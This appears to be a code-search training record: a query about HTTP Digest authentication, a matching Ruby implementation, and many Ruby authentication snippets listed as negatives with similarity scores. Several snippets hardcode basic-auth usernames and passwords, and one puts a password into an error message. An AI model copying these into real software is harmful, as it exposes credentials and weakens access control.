'Content-Type' => 'application/json' }\n )\n\n check_for_error(res)\n\n res.parsed_response\n end", "def credentials(authorization, request); end", "def process_basic_auth(auth)\n case auth\n when String\n self.login, self.password = auth.split(':', 2)\n when Hash\n self.login = auth[:login]\n self.password = auth[:password]\n end\n end", "def auth\n if (!@auth || !@auth[:username]) && @headers['Authorization'] &&\n @headers['Authorization'] !~ /^OAuth\\s/\n\n str = Base64.decode64 @headers['Authorization'].split[1]\n username, password = str.split(\":\", 2)\n @auth = {\n :username => username,\n :password => password\n }.merge(@auth || {})\n end\n\n @auth\n end", "def authenticate\n authenticated_user = AuthenticateUser.new(auth_params[:email], auth_params[:password]).call\n response = { message: Message.logged_in, auth_token: authenticated_user[:auth_token], is_doctor: authenticated_user[:is_doctor], doctor_id: authenticated_user[:doctor_id], fullname: authenticated_user[:fullname], date_of_birth: authenticated_user[:date_of_birth] }\n json_response(response)\n end", "def authenticate( request )\n\t\tauthheader = request.header.authorization or\n\t\t\tself.log_failure \"No authorization header in the request.\"\n\n\t\t# Extract the credentials bit\n\t\tbase64_userpass = authheader[ /^\\s*Basic\\s+(\\S+)$/i, 1 ] or\n\t\t\tself.log_failure \"Invalid Basic Authorization header (%p)\" % [ authheader ]\n\n\t\t# Unpack the username and password\n\t\tcredentials = base64_userpass.unpack( 'm' ).first\n\t\tself.log_failure \"Malformed credentials %p\" % [ credentials ] unless\n\t\t\tcredentials.index(':')\n\n\t\t# Split the credentials, check for valid user\n\t\tusername, password = credentials.split( ':', 2 )\n\t\tself.check_password( username, password )\n\n\t\t# Success!\n\t\tself.auth_succeeded( request, username )\n\t\treturn username\n\tend", "def authenticate!\n\t\t@current_user = AuthorizeApiRequest.call(request.headers).result\n\t\t# If unauthorized return an error to the front end\n\t\trender json: {error: 'Not Authorized'}, status: 401 unless @current_user\n\tend", "def auth\n build_response(\"token\") do\n connection.post do |req|\n req.headers.delete(\"Authorization\")\n req.url \"auth/\"\n req.body = { username: username, password: password }.to_json\n end\n end\n end", "def pack_challenge(realm)\n format(\"Basic realm=\\\"%s\\\"\", realm.gsub('\"', ''))\n end", "def process_type3_auth(ntlm, request, response)\n t3 = request.ntlm_token\n t2 = ntlm.accept_security_context(t3)\n \n # try to give rails as pristine a response object as possible\n response.ntlm_reset\n end", "def authenticate_resource_request options = {}\n verifications = {\n client_credential: lambda do |_x|\n ::Signet::OAuth1::Credential.new(\"Client credential key\",\n \"Client credential secret\")\n end\n }\n\n unless options[:two_legged] == true\n verifications.update(\n token_credential: lambda do |_x|\n ::Signet::OAuth1::Credential.new(\"Token credential key\",\n \"Token credential secret\")\n end\n )\n end\n # Make sure all required state is set\n verifications.each do |(key, _value)|\n raise ArgumentError, \"#{key} was not set.\" unless send key\n end\n\n request_components = if options[:request]\n verify_request_components(\n request: options[:request],\n adapter: options[:adapter]\n )\n else\n verify_request_components(\n method: options[:method],\n uri: options[:uri],\n headers: options[:headers],\n body: options[:body]\n )\n end\n method = request_components[:method]\n uri = request_components[:uri]\n headers = request_components[:headers]\n body = request_components[:body]\n\n\n if !body.is_a?(String) && body.respond_to?(:each)\n # Just in case we get a chunked body\n merged_body = StringIO.new\n body.each do |chunk|\n merged_body.write chunk\n end\n body = merged_body.string\n end\n raise TypeError, \"Expected String, got #{body.class}.\" unless body.is_a? String\n\n media_type = nil\n headers.each do |(header, value)|\n media_type = value.gsub(/^([^;]+)(;.*?)?$/, '\\1') if header.casecmp(\"Content-Type\").zero?\n end\n\n auth_hash = verify_auth_header_components headers\n\n auth_token = auth_hash[\"oauth_token\"]\n\n\n unless options[:two_legged]\n return nil if auth_token.nil?\n return nil unless (token_credential = find_token_credential auth_token)\n token_credential_secret = token_credential.secret if token_credential\n end\n\n return nil unless (client_credential =\n find_client_credential auth_hash[\"oauth_consumer_key\"])\n\n return nil unless validate_nonce_timestamp(auth_hash[\"oauth_nonce\"],\n auth_hash[\"oauth_timestamp\"])\n\n if method == (\"POST\" || \"PUT\") &&\n media_type == \"application/x-www-form-urlencoded\"\n request_components[:body] = body\n post_parameters = Addressable::URI.form_unencode body\n post_parameters.each { |param| param[1] = \"\" if param[1].nil? }\n # If the auth header doesn't have the same params as the body, it\n # can't have been signed correctly(5849#3.4.1.3)\n unless post_parameters.sort == auth_hash.reject { |k, _v| k.index \"oauth_\" }.to_a.sort\n raise MalformedAuthorizationError, \"Request is of type application/x-www-form-urlencoded \" \\\n \"but Authentication header did not include form values\"\n end\n end\n\n client_credential_secret = client_credential.secret if client_credential\n\n computed_signature = ::Signet::OAuth1.sign_parameters(\n method,\n uri,\n # Realm isn't used, and will throw the signature off.\n auth_hash.reject { |k, _v| k == \"realm\" }.to_a,\n client_credential_secret,\n token_credential_secret\n )\n\n return nil unless safe_equals? computed_signature, auth_hash[\"oauth_signature\"]\n { client_credential: client_credential,\n token_credential: token_credential,\n realm: auth_hash[\"realm\"] }\n end", "def authenticate\n authenticate_or_request_with_http_basic(\"algo\") do |username, password|\n username == \"dupa\" && password == \"dupa\"\n end\n end", "def authenticate!\n if !authenticated?\n response = request_token\n\n @token = response[\"token\"]\n @expires_at = DateTime.parse(response[\"expires_at\"])\n end\n\n [@token, @expires_at]\n end", "def pam_authentication(pw, request = nil)\n return nil unless pam_get_name\n rhost = request.remote_ip if request rescue nil\n Rpam2.auth(find_pam_service, pam_get_name, pw, nil, rhost)\n end", "def add_auth_verifier(req, auth, auth_type, auth_level)\n req.sec_trailer = {\n auth_type: auth_type,\n auth_level: auth_level,\n auth_context_id: @ctx_id + @auth_ctx_id_base\n }\n req.auth_value = auth\n req.pdu_header.auth_length = auth.length\n\n nil\n end", "def add_auth_headers\n @client.headers['Auth-Email'] = '...'\n @client.headers['Auth-Token'] = '...'\n end", "def authenticate_user_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: AuthenticationServiceApi.authenticate_user ...'\n end\n # resource path\n local_var_path = '/authentication'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] || @api_client.object_to_http_body(opts[:'body']) \n\n # return_type\n return_type = opts[:return_type] || 'JsonMDNToken' \n\n # auth_names\n auth_names = opts[:auth_names] || []\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AuthenticationServiceApi#authenticate_user\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def authenticate_requester!(request)\n end", "def fill_header(response); end", "def generate_header(req, opts)\n\n @nonce_count += 1\n\n user, pass = o(opts, :digest_authentication)\n realm = @challenge.realm || ''\n method = req.class.const_get(:METHOD)\n path = req.path\n\n a1 = if @challenge.algorithm == 'MD5-sess'\n h(h(user, realm, pass), @challenge.nonce, @cnonce)\n else\n h(user, realm, pass)\n end\n\n a2, qop = if @challenge.qop.include?(\"auth-int\")\n [ h(method, path, h(req.body)), \"auth-int\" ]\n else\n [ h(method, path), \"auth\" ]\n end\n\n nc = ('%08x' % @nonce_count)\n\n digest = h(\n #a1, @challenge.nonce, nc, @cnonce, @challenge.qop, a2)\n a1, @challenge.nonce, nc, @cnonce, \"auth\", a2)\n\n header = \"\"\n header << \"Digest username=\\\"#{user}\\\", \"\n header << \"realm=\\\"#{realm}\\\", \"\n header << \"qop=\\\"#{qop}\\\", \"\n header << \"uri=\\\"#{path}\\\", \"\n header << \"nonce=\\\"#{@challenge.nonce}\\\", \"\n #header << \"nc=##{nc}, \"\n header << \"nc=#{nc}, \"\n header << \"cnonce=\\\"#{@cnonce}\\\", \"\n header << \"algorithm=\\\"#{@challenge.algorithm}\\\", \"\n #header << \"algorithm=\\\"MD5-sess\\\", \"\n header << \"response=\\\"#{digest}\\\", \"\n header << \"opaque=\\\"#{@challenge.opaque}\\\"\"\n\n header\n end", "def auth\n Hash['type' => @auth_type,\n 'username' => @user,\n 'password' => @password]\n end", "def authenticate\n authenticate_or_request_with_http_basic do |username, password|\n self.username == username && self.password == password\n end\n end", "def basic_auth\n {\n username: @username,\n password: @password\n }\n end", "def authenticate\n # :x_amee_source = \"X-AMEE-Source\".to_sym\n request = Typhoeus::Request.new(\"#{protocol}#{@server}/auth/signIn\", \n :method => \"post\",\n :verbose => DEBUG,\n :headers => {\n :Accept => content_type(:xml),\n },\n :body => form_encode(:username=>@username, :password=>@password)\n )\n\n hydra.queue(request)\n hydra.run\n response = request.response\n\n @auth_token = response.headers_hash['AuthToken']\n d {request.url}\n d {response.code}\n d {@auth_token}\n\n connection_failed if response.code == 0\n\n unless authenticated?\n raise AMEE::AuthFailed.new(\"Authentication failed. Please check your username and password. (tried #{@username},#{@password})\")\n end\n # Detect API version\n if response.body.is_json?\n @version = JSON.parse(response.body)[\"user\"][\"apiVersion\"].to_f\n elsif response.body.is_xml?\n @version = REXML::Document.new(response.body).elements['Resources'].elements['SignInResource'].elements['User'].elements['ApiVersion'].text.to_f\n else\n @version = 1.0\n end\n end", "def update_token_auth_headers(response)\n self.token_auth_headers ||= {}\n ['access-token','client','uid','expiry'].each do |header_name|\n self.token_auth_headers[header_name] = response.headers[header_name] unless response.headers[header_name].nil?\n end\n return token_auth_headers\n end", "def create_challenge_response(cognito_response:, params:)\n if cognito_response.challenge_name == 'MFA_SETUP'\n response_hash = setup_mfa_response(cognito_response: cognito_response, params: params)\n elsif cognito_response.challenge_name.include?('_RETRY')\n cognito_response.challenge_name = cognito_response.challenge_name.gsub('_RETRY', '')\n response_hash = cognito_response.to_h\n else\n response_hash = { email: params[:email], cognito_response: cognito_response }\n end\n\n ChallengeResponse.new(response_hash)\n end" ]
[ "0.73826385", "0.6834293", "0.6728466", "0.6561607", "0.65466154", "0.6543275", "0.6372046", "0.63232297", "0.62966216", "0.6267182", "0.62235886", "0.6153276", "0.6144353", "0.6096307", "0.6031068", "0.6009908", "0.59887373", "0.59194124", "0.5912835", "0.58936375", "0.5890623", "0.58852094", "0.58763987", "0.5865122", "0.5856873", "0.58530563", "0.58349663", "0.5813813", "0.5810159", "0.58053684", "0.58009255", "0.57862794", "0.578056", "0.5770701", "0.57572365", "0.57480377", "0.574289", "0.57391423", "0.57311577", "0.572639", "0.5708664", "0.57032573", "0.57008135", "0.5698323", "0.56910944", "0.5688281", "0.5684353", "0.5683476", "0.5677116", "0.5669387", "0.5668246", "0.5666391", "0.5658128", "0.56506133", "0.5648462", "0.56475204", "0.5641457", "0.5641341", "0.56309456", "0.56041366", "0.5596912", "0.55920154", "0.55897915", "0.5559448", "0.5554594", "0.5540878", "0.5539322", "0.5533777", "0.5529504", "0.5522467", "0.55218613", "0.5514387", "0.55055153", "0.55005044", "0.5497246", "0.5483852", "0.5480984", "0.54752225", "0.54740465", "0.54626304", "0.5459658", "0.5458139", "0.54303026", "0.54286385", "0.54246944", "0.5408308", "0.5404834", "0.5399596", "0.5396133", "0.5391994", "0.5379788", "0.5379568", "0.53790194", "0.53738636", "0.53693014", "0.53627473", "0.5356362", "0.5347237", "0.53456247", "0.5343368" ]
0.7717408
0
Does the legwork for HTTP Digest authentication (See
def authenticate_request!(request) return if @authentication_params.empty? puts "AUTHENTICATION PARAMS: #{@authentication_params.inspect}" @nonce_count += 1 cnonce = Digest::MD5.hexdigest(Time.now.to_s + rand(65535).to_s) a1 = "#{@http_login}:#{@authentication_params['realm']}:#{@password}" a2 = "#{request.method}:#{request.path}" response_digest = Digest::MD5.hexdigest(a1) << ':' << @authentication_params['nonce'] << ':' << ('%08x' % @nonce_count) << ':' << cnonce << ':' << @authentication_params['qop'] << ':' << Digest::MD5.hexdigest(a2) request['Authorization'] = "Digest username=\"#{@http_login}\", " << "realm=\"#{@authentication_params['realm']}\", " << "nonce=\"#{@authentication_params['nonce']}\", " << "uri=\"#{request.path}\", " << "nc=#{'%08x' % @nonce_count}, " << "qop=\"#{@authentication_params['qop']}\", " << "cnonce=\"#{cnonce}\", " << "response=\"#{Digest::MD5.hexdigest(response_digest)}\"" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def digest_authenticate(req, url, param_string = \"\")\n raise \"Digest authentication requires a WWW-Authenticate header\" if param_string.empty?\n\n params = parse_wwwauth_digest(param_string)\n qop = params[:qop]\n\n user, pass = username_and_password_for_realm(url, params[:realm])\n\n if params[:algorithm] == \"MD5\"\n a1 = user + \":\" + params[:realm] + \":\" + pass\n else\n # XXX MD5-sess\n raise \"I only support MD5 digest authentication (not #{params[:algorithm].inspect})\"\n end\n\n if qop.nil? or qop.member? \"auth\"\n a2 = req.method + \":\" + req.path\n else\n # XXX auth-int\n raise \"only 'auth' qop supported (none of: #{qop.inspect})\"\n end\n\n if qop.nil?\n response = kd(h(a1), params[:nonce] + \":\" + h(a2))\n else\n @@nonce_count += 1\n nc = ('%08x' % @@nonce_count)\n\n # XXX auth-int\n data = \"#{params[:nonce]}:#{nc}:#{CNONCE}:#{\"auth\"}:#{h(a2)}\"\n\n response = kd(h(a1), data)\n end\n\n header = %Q<Digest username=\"#{user}\", uri=\"#{req.path}\", realm=\"#{params[:realm]}\", response=\"#{response}\", nonce=\"#{params[:nonce]}\">\n\n if params[:opaque]\n header += %Q<, opaque=\"#{params[:opaque]}\">\n end\n\n if params[:algorithm] != \"MD5\"\n header += \", algorithm=#{algo}\"\n end\n\n if qop\n # XXX auth-int\n header += %Q<, nc=#{nc}, cnonce=\"#{CNONCE}\", qop=auth>\n end\n\n req[\"Authorization\"] = header\n end", "def request_http_digest_authentication(realm = T.unsafe(nil), message = T.unsafe(nil)); end", "def digest_auth(opts={})\n cnonce = make_cnonce\n nonce_count = 0\n\n to = opts['timeout'] || 20\n\n digest_user = opts['username'] || \"\"\n digest_password = opts['password'] || \"\"\n\n method = opts['method']\n path = opts['uri']\n iis = true\n if (opts['DigestAuthIIS'] == false or self.config['DigestAuthIIS'] == false)\n iis = false\n end\n\n begin\n nonce_count += 1\n\n resp = opts['response']\n\n if not resp\n # Get authentication-challenge from server, and read out parameters required\n r = request_cgi(opts.merge({\n 'uri' => path,\n 'method' => method }))\n resp = _send_recv(r, to)\n unless resp.kind_of? Rex::Proto::Http::Response\n return nil\n end\n\n if resp.code != 401\n return resp\n end\n return resp unless resp.headers['WWW-Authenticate']\n end\n\n # Don't anchor this regex to the beginning of string because header\n # folding makes it appear later when the server presents multiple\n # WWW-Authentication options (such as is the case with IIS configured\n # for Digest or NTLM).\n resp['www-authenticate'] =~ /Digest (.*)/\n\n parameters = {}\n $1.split(/,[[:space:]]*/).each do |p|\n k, v = p.split(\"=\", 2)\n parameters[k] = v.gsub('\"', '')\n end\n\n qop = parameters['qop']\n\n if parameters['algorithm'] =~ /(.*?)(-sess)?$/\n algorithm = case $1\n when 'MD5' then Digest::MD5\n when 'SHA1' then Digest::SHA1\n when 'SHA2' then Digest::SHA2\n when 'SHA256' then Digest::SHA256\n when 'SHA384' then Digest::SHA384\n when 'SHA512' then Digest::SHA512\n when 'RMD160' then Digest::RMD160\n else raise Error, \"unknown algorithm \\\"#{$1}\\\"\"\n end\n algstr = parameters[\"algorithm\"]\n sess = $2\n else\n algorithm = Digest::MD5\n algstr = \"MD5\"\n sess = false\n end\n\n a1 = if sess then\n [\n algorithm.hexdigest(\"#{digest_user}:#{parameters['realm']}:#{digest_password}\"),\n parameters['nonce'],\n cnonce\n ].join ':'\n else\n \"#{digest_user}:#{parameters['realm']}:#{digest_password}\"\n end\n\n ha1 = algorithm.hexdigest(a1)\n ha2 = algorithm.hexdigest(\"#{method}:#{path}\")\n\n request_digest = [ha1, parameters['nonce']]\n request_digest.push(('%08x' % nonce_count), cnonce, qop) if qop\n request_digest << ha2\n request_digest = request_digest.join ':'\n\n # Same order as IE7\n auth = [\n \"Digest username=\\\"#{digest_user}\\\"\",\n \"realm=\\\"#{parameters['realm']}\\\"\",\n \"nonce=\\\"#{parameters['nonce']}\\\"\",\n \"uri=\\\"#{path}\\\"\",\n \"cnonce=\\\"#{cnonce}\\\"\",\n \"nc=#{'%08x' % nonce_count}\",\n \"algorithm=#{algstr}\",\n \"response=\\\"#{algorithm.hexdigest(request_digest)[0, 32]}\\\"\",\n # The spec says the qop value shouldn't be enclosed in quotes, but\n # some versions of IIS require it and Apache accepts it. Chrome\n # and Firefox both send it without quotes but IE does it this way.\n # Use the non-compliant-but-everybody-does-it to be as compatible\n # as possible by default. The user can override if they don't like\n # it.\n if qop.nil? then\n elsif iis then\n \"qop=\\\"#{qop}\\\"\"\n else\n \"qop=#{qop}\"\n end,\n if parameters.key? 'opaque' then\n \"opaque=\\\"#{parameters['opaque']}\\\"\"\n end\n ].compact\n\n headers ={ 'Authorization' => auth.join(', ') }\n headers.merge!(opts['headers']) if opts['headers']\n\n # Send main request with authentication\n r = request_cgi(opts.merge({\n 'uri' => path,\n 'method' => method,\n 'headers' => headers }))\n resp = _send_recv(r, to, true)\n unless resp.kind_of? Rex::Proto::Http::Response\n return nil\n end\n\n return resp\n\n rescue ::Errno::EPIPE, ::Timeout::Error\n end\n end", "def authenticate_with_http_digest(realm = T.unsafe(nil), &password_procedure); end", "def authenticate_with_http_digest(realm = \"Application\", &password_procedure)\n HttpAuthentication::Digest.authenticate(self, realm, &password_procedure)\n end", "def setDigest(username, password, url_base)\n class_httparty = self.class\n #set url\n class_httparty.base_uri url_base\n class_httparty.default_options.delete(:basic_auth)\n @auth_digest = {:username => username, :password => password}\n class_httparty.digest_auth username, password\n #puts \"auth_digest:#{@auth_digest}\"\n end", "def http_req_with_digest_auth (http_req, body = nil)\n digest = nil\n begin\n http_req.add_field 'Authorization', digest unless digest.nil?\n http_resp = @http.request(http_req, body)\n case http_resp\n when Net::HTTPUnauthorized\n raise HTTPAuthChal if digest.nil?\n end\n http_resp\n rescue HTTPAuthChal\n digest = @digest_auth.auth_header @base_uri, http_resp['www-authenticate'], http_req.method\n retry\n end\n end", "def require_login\n qop = ''\n case @qop\n when QOP_AUTH\n qop = 'auth'\n when QOP_AUTHINT\n qop = 'auth-int'\n when QOP_AUTH | QOP_AUTHINT\n qop = 'auth,auth-int'\n end\n\n @response.add_header('WWW-Authenticate', \"Digest realm=\\\"#{@realm}\\\",qop=\\\"#{qop}\\\",nonce=\\\"#{@nonce}\\\",opaque=\\\"#{@opaque}\\\"\")\n @response.status = 401\n end", "def request_http_digest_authentication(realm = \"Application\", message = nil)\n HttpAuthentication::Digest.authentication_request(self, realm, message)\n end", "def authenticate\n uri = create_uri(\"#{@server_url}api/authenticate\")\n h = Net::HTTP.new uri.host, uri.port\n req = Net::HTTP::Get.new uri.request_uri\n res = h.request req\n @digest_auth = Net::HTTP::DigestAuth.new\n @header = res['www-authenticate']\n unless @header\n raise 'No [www-authenticate] header in the server\\'s response'\n end\n end", "def basic_auth(*args, &block); end", "def authenticate_with_digest\n authenticate_or_request_with_http_digest(REALM) do |mkey|\n @user = @current_user = User.find_by_mkey(mkey)\n @user && @user.auth\n end\n end", "def basic_auth(opts); end", "def http_auth_hash; end", "def http_auth?; end", "def expected_response(http_method, uri, credentials, password, password_is_ha1=true)\n ha1 = password_is_ha1 ? password : ha1(credentials, password)\n ha2 = ::Digest::MD5.hexdigest([http_method.to_s.upcase, uri].join(':'))\n ::Digest::MD5.hexdigest([ha1, credentials[:nonce], credentials[:nc], credentials[:cnonce], credentials[:qop], ha2].join(':'))\n end", "def digest\n @request.header('Authorization')\n end", "def authenticate\n authenticate_or_request_with_http_basic(\"algo\") do |username, password|\n username == \"dupa\" && password == \"dupa\"\n end\n end", "def mention_digest_auth(req, opts)\n\n return false unless @challenge\n\n req['Authorization'] = generate_header req, opts\n\n true\n end", "def calc_cred(method, uri, user, passwd, param)\n a_1 = \"#{user}:#{param['realm']}:#{passwd}\"\n a_2 = \"#{method}:#{uri.path}\"\n @nonce_count += 1\n message_digest = []\n message_digest << Digest::MD5.hexdigest(a_1)\n message_digest << param['nonce']\n message_digest << ('%08x' % @nonce_count)\n message_digest << param['nonce']\n message_digest << param['qop']\n message_digest << Digest::MD5.hexdigest(a_2)\n header = []\n header << \"username=\\\"#{user}\\\"\"\n header << \"realm=\\\"#{param['realm']}\\\"\"\n header << \"nonce=\\\"#{param['nonce']}\\\"\"\n header << \"uri=\\\"#{uri.path}\\\"\"\n header << \"cnonce=\\\"#{param['nonce']}\\\"\"\n header << \"nc=#{'%08x' % @nonce_count}\"\n header << \"qop=\\\"#{param['qop']}\\\"\"\n header << \"response=\\\"#{Digest::MD5.hexdigest(message_digest.join(\":\"))}\\\"\"\n header << \"algorithm=\\\"MD5\\\"\"\n header << \"opaque=\\\"#{param['opaque']}\\\"\" if param.key?('opaque')\n header.join(\", \")\n end", "def authenticate\n @shoonga = authenticate_or_request_with_http_basic do |username, password|\n username == \"4vght\" && password == \"we8vds\"\n end\nend", "def authenticate!(request)\n if @username and @password \n request.basic_auth @username, @password\n end\n end", "def http_basic_authenticate\n authenticate_or_request_with_http_basic do |username, password|\n username == \"mustang\" && password == 'mustang' #\"must@ngs0undm3l0n\"\n end\n end", "def authenticate\n authenticate_or_request_with_http_basic do |username, password|\n (user = User.find_by_name(username)) != nil \\\n && user.password == Digest::SHA1.hexdigest(password)\n end\n end", "def validate_digest_response(request, realm, &password_procedure); end", "def basic_authenticate(req, url, param_string = \"\")\n params = parse_quoted_wwwauth(param_string)\n\n user, pass = username_and_password_for_realm(url, params[:realm])\n\n req.basic_auth user, pass\n end", "def parse_wwwauth_digest param_string\n params = parse_quoted_wwwauth param_string\n qop = params[:qop] ? params[:qop].split(\",\") : nil\n\n param_string.gsub(/stale=([^,]*)/) do\n params[:stale] = ($1.downcase == \"true\")\n end\n\n params[:algorithm] = \"MD5\"\n param_string.gsub(/algorithm=([^,]*)/) { params[:algorithm] = $1 }\n\n params\n end", "def valid_for_http_auth?; end", "def calc_cred(req, user, passwd, param)\n method = req.header.request_method\n path = req.header.create_query_uri\n a_1 = \"#{user}:#{param['realm']}:#{passwd}\"\n a_2 = \"#{method}:#{path}\"\n qop = param['qop']\n nonce = param['nonce']\n cnonce = nil\n if qop || param['algorithm'] =~ /MD5-sess/\n cnonce = generate_cnonce()\n end\n a_1_md5sum = Digest::MD5.hexdigest(a_1)\n if param['algorithm'] =~ /MD5-sess/\n a_1_md5sum = Digest::MD5.hexdigest(\"#{a_1_md5sum}:#{nonce}:#{cnonce}\")\n algorithm = \"MD5-sess\"\n else\n algorithm = \"MD5\"\n end\n message_digest = []\n message_digest << a_1_md5sum\n message_digest << nonce\n if qop\n @nonce_count += 1\n message_digest << ('%08x' % @nonce_count)\n message_digest << cnonce\n message_digest << param['qop']\n end\n message_digest << Digest::MD5.hexdigest(a_2)\n header = []\n header << \"username=\\\"#{user}\\\"\"\n header << \"realm=\\\"#{param['realm']}\\\"\"\n header << \"nonce=\\\"#{nonce}\\\"\"\n header << \"uri=\\\"#{path}\\\"\"\n if cnonce\n header << \"cnonce=\\\"#{cnonce}\\\"\"\n end\n if qop\n header << \"nc=#{'%08x' % @nonce_count}\"\n header << \"qop=#{param['qop']}\"\n end\n header << \"response=\\\"#{Digest::MD5.hexdigest(message_digest.join(\":\"))}\\\"\"\n header << \"algorithm=#{algorithm}\"\n header << \"opaque=\\\"#{param['opaque']}\\\"\" if param.key?('opaque')\n header.join(\", \")\n end", "def http_auth_login\n # FIXME: Implement\n end", "def authenticate_with_http_basic\n nil\n end", "def gen_auth_digest(method, url, body, auth_data, shop_no: PFNO, key_data: KEY_DATA)\n cnonce = auth_data['cnonce'] || rand(123_400..9_999_999)\n realm = auth_data['realm']\n nonce = auth_data['nonce']\n qop = auth_data['qop']\n\n verifycode_part_1 = Digest::SHA256.hexdigest(\"#{shop_no}:#{realm}:#{key_data}\")\n verifycode_part_2 = Digest::SHA256.hexdigest(\"#{method}:#{url}\")\n\n message = body.gsub(/[\\r\\n ]/, '')\n verifycode = Digest::SHA256.hexdigest(\"#{verifycode_part_1}:#{nonce}:#{cnonce}:#{qop}:#{message}:#{verifycode_part_2}\")\n\n request_authorization = \"Digest realm=\\\"#{realm}\\\", nonce=\\\"#{nonce}\\\", uri=\\\"#{url}\\\", verifycode=\\\"#{verifycode}\\\", qop=#{qop}, cnonce=\\\"#{cnonce}\\\"\"\n\n return request_authorization\n end", "def basic_authentication usr, pwd\n\t\t#str = Base64.encode64(\"#{usr}:#{pwd}\")\n\t\t#str = \"Basic #{str}\"\n \n\t\t#@request_headers[\"Authorization\"]= str\n @request_headers[\"Authorization\"]= 'Basic ' + [\"#{usr}:#{pwd}\"].pack('m').delete(\"\\r\\n\")\n\tend", "def initialize\n super('Digest')\n @auth = {}\n @nonce_count = 0\n end", "def authenticate\n authenticate_or_request_with_http_basic do |username, password|\n self.username == username && self.password == password\n end\n end", "def validate_digest_response(request, realm, &password_procedure)\n credentials = decode_credentials_header(request)\n valid_nonce = validate_nonce(request, credentials[:nonce])\n\n if valid_nonce && realm == credentials[:realm] && opaque == credentials[:opaque]\n password = password_procedure.call(credentials[:username])\n method = request.env['rack.methodoverride.original_method'] || request.env['REQUEST_METHOD']\n\n [true, false].any? do |password_is_ha1|\n expected = expected_response(method, request.env['REQUEST_URI'], credentials, password, password_is_ha1)\n expected == credentials[:response]\n end\n end\n end", "def basic_auth\n authenticate_or_request_with_http_basic do |username, password|\n username == Rails.application.credentials.basic[:username] && \n password == Rails.application.credentials.basic[:password]\n end\n end", "def check_authentication_info(res, opts)\n\n return if no_digest_auth\n # not using digest authentication\n\n return unless @challenge\n # not yet authenticated\n\n authinfo = AuthInfo.new res\n @challenge.nonce = authinfo.nextnonce\n end", "def digest\n @authenticator\n end", "def authenticate\n authenticate_or_request_with_http_basic('Administration') do |username, password|\n username == 'igp' && password == 'ehkra!Q2w#e'\n end\n end", "def authenticate\n authenticate_or_request_with_http_basic do |username, password|\n username == ENV['USERNAMEV'] && password == ENV['PASSWORDV'] \n end \n end", "def credentials_for(uri, realm); end", "def http_basic_authorize!(realm, username, password)\n auth = Rack::Auth::Basic::Request.new(request.env)\n unless auth.provided? && auth.basic? && auth.credentials &&\n auth.credentials == [username, password]\n response['WWW-Authenticate'] = %(Basic realm=\"#{realm}\")\n request.halt(401)\n end\n end", "def build_header_auth(uri, version, httpmethod)\n response = get_auth_response(uri)\n @cnonce = Digest::MD5.hexdigest(\"%x\" % (Time.now.to_i + rand(65535)))\n @@nonce_count += 1\n\n response['www-authenticate'] =~ /^(\\w+) (.*)/\n challenge = $2\n params = {}\n challenge.gsub(/(\\w+)=\"(.*?)\"/) { params[$1] = $2 }\n\n a_1 = \"#{@app_id}:#{params['realm']}:#{@app_secret}\" #username, realm and password\n a_2 = \"#{httpmethod}:#{uri}\" #method and path\n request_digest = ''\n request_digest << Digest::MD5.hexdigest(a_1)\n request_digest << ':' << params['nonce']\n request_digest << ':' << ('%08x' % @@nonce_count)\n request_digest << ':' << @cnonce\n request_digest << ':' << params['qop']\n request_digest << ':' << Digest::MD5.hexdigest(a_2)\n\n header = []\n header << \"Digest username=\\\"#{@app_id}\\\"\"\n header << \"realm=\\\"#{params['realm']}\\\"\"\n\n header << \"qop=#{params['qop']}\"\n\n header << \"algorithm=MD5\"\n header << \"uri=\\\"#{uri}\\\"\"\n header << \"nonce=\\\"#{params['nonce']}\\\"\"\n header << \"nc=#{'%08x' % @@nonce_count}\"\n header << \"cnonce=\\\"#{@cnonce}\\\"\"\n header << \"response=\\\"#{Digest::MD5.hexdigest(request_digest)}\\\"\"\n header << \"opaque=\\\"#{params['opaque']}\\\"\"\n\n header_auth_str = header.join(', ')\n @header = {}\n @header[\"Content-Type\"] = \"application/json\"\n if version == API_VERSION_2\n @header[\"Accept\"] = \"application/vnd.com.zipmark.v2+json\"\n else\n @header[\"Accept\"] = \"application/vnd.com.zipmark.v1+json\"\n end\n @header[\"Authorization\"] = header_auth_str\n @header[\"Host\"] = \"curdbee.com\"\n end", "def require_http_auth\n if `hostname` =~ /soykaf|lanpartei/i \n if auth = APP_CONFIG['http_auth']\n authenticate_or_request_with_http_basic do |user_name, password|\n user_name == auth['name'] && password == auth['password']\n end \n end\n end\n end", "def mech(file)\n if resource[:mechanism] == :digest \n @htauth = WEBrick::HTTPAuth::Htdigest.new(file)\n elsif resource[:mechanism] == :basic\n @htauth = WEBrick::HTTPAuth::Htpasswd.new(file)\n end\n end", "def http_basic_authorize!(realm, username, password)\n auth = Rack::Auth::Basic::Request.new(request.env)\n unless auth.provided? && auth.basic? && auth.credentials &&\n auth.credentials == [username, password]\n response['WWW-Authenticate'] = %(Basic realm=\"#{realm}\")\n throw(:halt, 401)\n end\n end", "def respond_to_challenge(request, response)\n authenticate_header = response['www-authenticate'].downcase\n authenticate_header.sub!(/^digest /, '')\n\n @authentication_params = authenticate_header.split(\", \").inject({}) { |h, field|\n key, value = field.split(\"=\")\n h[key] = value.gsub(/^\"|\"$/, '') # strip quotes.\n \n h\n }\n add_cookies!(request)\n authenticate_request!(request)\n request.each{|k,v| puts \"#{k}: #{v}\" }\n # Resend the request\n @client.request(request)\n end", "def login_using_basic_auth\n @request.env['HTTP_AUTHENTICATION'] = ActionController::HttpAuthentication::Basic.encode_credntials(\"\", \"\")\nend", "def authenticate(request, realm, &password_procedure); end", "def basic_auth(user, password, domain = T.unsafe(nil)); end", "def auth(value); end", "def prepare_basic_auth(request)\n user = @options[:user] || 